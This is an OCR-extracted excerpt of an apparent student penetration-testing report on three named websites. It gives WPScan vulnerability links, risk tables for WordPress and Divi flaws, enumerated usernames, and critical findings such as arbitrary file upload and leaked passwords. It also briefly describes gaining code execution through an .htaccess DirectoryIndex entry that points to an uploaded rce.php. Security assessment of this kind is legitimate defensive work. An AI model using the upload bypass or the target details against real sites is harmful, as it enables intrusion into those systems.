https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be
https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0
https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f
https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4
https://wpscan.com/vulnerability/926cd097-b36f-4d26-9c51-0dfab11c301b
https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431
https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156
https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6dd0
https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218
https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b
https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872
https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cce47
https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b
https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e
https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9
https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11
https://wpscan.com/vulnerability/2999613a-b8c8-4ec0-9164-5dfe63adf6e6

e WP <6.2.1 - Thumbnail Image Update via CSRF
https://wpscan.com/vulnerability/a03d744a-9839-4167-a356-3e7da0f1d532
e WP <6.2.2 - Shortcode Execution in User Generated Data
https://wpscan.com/vulnerability/ef289d46-ea83-4fa5-b003-0352c690fd89
e WP <6.2.1 - Contributor+ Stored XSS via Open Embed Auto Discovery
https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5¢c39948db5
e WP <6.2.1 - Contributor+ Content Injection

https://wpscan.com/vulnerability/1527ebdb-18bc-4f9d-9¢20-8d729a628670

Vulnerabilities of Theme
Theme Name: Divi

e ElegantThemes - Privilege Escalation
https://wpscan.com/vulnerability/c253d387-f05a-4a68-9554-ecb846942b28

e ElegantThemes (Divi, Extra, divi-builder) - Authenticated Stored Cross-Site Scripting
(XSS) https://wpscan.com/vulnerability/75b210d4-538b-4cd5-b06d-5d8f5e610377

e ElegantThemes (Divi, Extra, divi-builder < 4.0.10) - Authenticated Code Injection
https://wpscan.com/vulnerability/fddc2746-0e65-4a58-85d1-3d4ce20a1739

e Elegant Themes (Divi 3.0 - 4.5.2, Extra 2.0 - 4.5.2, Divi Builder 2.0 - 4.5.2) -
Authenticated Arbitrary File Upload

Theme Name: twentyfifteen
e Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS)
https://wpscan.com/vulnerability/2499b30a-4bcc-462a-935e-1fe4664b95d5

Identified Users
e dndlabor
e riddho-haque
e imran

Risk Assessment

vps-414ae572.vps.ovh.ca

Vulnerability Impact
Arbitrary File Upload Critical
Unprotected Rsync server High
Exposed Internal server Critical
Password Leak on pm2 logs High
Potential Key-Value Overwrite in Mongodb | Medium
Potential Arbitrary File read/delete Medium
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https://wpscan.com/vulnerability/a03d744a-9839-4167-a356-3e7da0f1d532
https://wpscan.com/vulnerability/ef289d46-ea83-4fa5-b003-0352c690fd89
https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5
https://wpscan.com/vulnerability/1527ebdb-18bc-4f9d-9c20-8d729a628670
https://wpscan.com/vulnerability/c253d387-f05a-4a68-9554-ecb846942b28
https://wpscan.com/vulnerability/75b210d4-538b-4cd5-b06d-5d8f5e610377
https://wpscan.com/vulnerability/fddc2746-0e65-4a58-85d1-3d4ce20a1739
https://wpscan.com/vulnerability/bc250084-9549-4996-a11c-2a082f4d3f68
https://wpscan.com/vulnerability/2499b30a-4bcc-462a-935e-1fe4664b95d5

sqcfbd.org

Vulnerability Impact

Unrestricted File upload Critical
dndlab.org

Vulnerability Impact

WordPress < 5.8 - Plugin Confusion Critical

WordPress < 5.8.3 - SQL Injection via Medium

WP_Query

WordPress < 5.8.3 - Author+ Stored XSS low

via Post Slugs

WordPress 4.1-5.8.2 - SQL Injection via high

WP_Meta_Query

WordPress < 5.8.3 - Super Admin Object Medium

Injection in Multisites

WordPress < 5.9.2 - Prototype Pollution in low

jQuery

WP < 6.0.2 - Reflected Cross-Site Scripting | low

WP < 6.0.2 - Authenticated Stored low

Cross-Site Scripting

WP < 6.0.2 - SQLi via Link API Medium

WP < 6.0.3 - Stored XSS via wp-mail.php low

WP < 6.0.3 - Open Redirect via low

wp_nonce_ays

WP < 6.0.3 - Email Address Disclosure via | low

wp-mail.php

WP < 6.0.3 - Reflected XSS via SQLi in low

Media Library

WP < 6.0.3 - CSRF in wp-trackback.php medium

WP < 6.0.3 - Stored XSS via the low

Customizer

WP < 6.0.3 - Stored XSS via Comment low

Editing

WP < 6.0.3 - Content from Multipart Emails | low

Leaked

WP < 6.0.3 - SQLi in WP_Date_Query Medium

WP < 6.0.3 - Stored XSS via RSS Widget low




WP < 6.0.3 - Data Exposure via REST low
Terms/Tags Endpoint

WP < 6.0.3 - Multiple Stored XSS via low
Gutenberg

WP <= 6.2 - Unauthenticated Blind SSRF Medium
via DNS Rebinding

WP < 6.2.1 - Directory Traversal via High
Translation Files

WP < 6.2.1 - Thumbnail Image Update via Low
CSRF

WP < 6.2.2 - Shortcode Execution in User High
Generated Data

WP < 6.2.1 - Contributor+ Stored XSS via low
Open Embed Auto Discovery

WP < 6.2.1 - Contributor+ Content Injection | low

ElegantThemes - Privilege Escalation High
ElegantThemes (Divi, Extra, divi-builder) - low
Authenticated Stored Cross-Site Scripting

(XSS)

ElegantThemes (Divi, Extra, divi-builder < Critical
4.0.10) - Authenticated Code Injection

Elegant Themes (Divi 3.0 - 4.5.2, Extra 2.0 - | Critical
4.5.2, Divi Builder 2.0 - 4.5.2) -
Authenticated Arbitrary File Upload

Twenty Fifteen Theme <= 1.1 - DOM low
Cross-Site Scripting (XSS)

Recommendation
Update the wordpress and its plugin and theme to the latest version.
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Chapter 7

Project as Engineering Problem
Analysis

7.1 Sustainability of the Project/Work

This Section is irrelevant to penetration testing

7.2 Social and Environmental Effects and Analysis

This Section is irrelevant to penetration testing

7.3 Addressing Ethics and Ethical Issues

This Section is irrelevant to penetration testing
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Chapter 8

L esson Learned

8.1 Problems Faced During this Period

1. During Pensting sqcfbd.org | could not get php code execution due to owner
configuration

8.2 Solution of those Problems

1. To bypass that | put Directorylndex rce.php in .htaccess file , then uploaded the
rce.php file to get code execution.
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Chapter 9

Future Work & Conclusion

9.1 Future Works

This Section is irrelevant to penetration testing

9.2 Conclusion

Of all 3 sites , vps-414ae572.vps.ovh.ca is the worst site | have encountered. Practically it
has security in name.

dndlab.org is old and is not been updated many days.

And sqcfbd.org is decent.

Three sites have critical vulnerabilities , so it's best to fix them as soon as possible.

From performing penetration testing on these sites , I've gained very valuable experience
and gained confidence to apply my knowledge in real world.
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